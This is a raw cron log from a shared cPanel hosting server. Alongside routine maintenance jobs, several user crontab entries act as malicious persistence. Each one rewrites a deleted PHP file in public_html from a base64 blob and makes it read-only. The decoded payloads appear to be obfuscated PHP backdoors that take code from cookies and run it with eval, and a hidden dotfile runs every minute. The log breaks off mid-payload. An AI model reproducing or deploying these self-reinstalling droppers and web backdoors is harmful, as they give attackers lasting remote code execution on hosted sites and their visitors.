Apr 19 04:29:01 medusa CROND[29366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:29:01 medusa CROND[29368]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:29:01 medusa CROND[29369]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:29:01 medusa CROND[29372]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:29:01 medusa CROND[29371]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:29:01 medusa CROND[29373]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:30:02 medusa CROND[21323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:30:02 medusa CROND[21329]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21375]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:30:02 medusa CROND[21487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21488]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:30:02 medusa CROND[21489]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:30:02 medusa CROND[21490]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:30:02 medusa CROND[21491]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21492]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:30:02 medusa CROND[21501]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:30:02 medusa CROND[21503]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:30:02 medusa CROND[21500]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr 19 04:30:02 medusa CROND[21502]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 19 04:30:02 medusa CROND[21513]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 04:30:02 medusa CROND[21514]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:30:02 medusa CROND[21516]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:30:02 medusa CROND[21511]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21518]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:30:02 medusa CROND[21507]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 04:30:02 medusa CROND[21517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:30:02 medusa CROND[21522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21524]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:30:02 medusa CROND[21539]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21540]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:30:02 medusa CROND[21545]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 04:30:02 medusa CROND[21543]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:30:02 medusa CROND[21546]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:30:02 medusa CROND[21538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21548]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 04:30:02 medusa CROND[21506]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:30:02 medusa CROND[21554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:30:02 medusa CROND[21565]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:31:02 medusa CROND[13874]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:31:02 medusa CROND[13875]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:31:02 medusa CROND[13880]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:31:02 medusa CROND[13877]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:31:02 medusa CROND[13881]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICR